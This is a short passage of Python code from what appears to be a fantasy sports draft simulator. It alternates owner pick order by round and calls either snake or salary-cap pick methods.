self.round_num % 2: curr_owner = self.draft_order[self.owner_idx] else: curr_owner = self.draft_order[-1 - self.owner_idx] if self.format == 'Snake': self._one_pick_snake(curr_owner) elif self.format == 'Salary Cap': self._one_pick_salary_cap(curr_owner) self.pick += 1 self.owner_idx += 1 self.round_num += 1 self.owner_idx = 0 return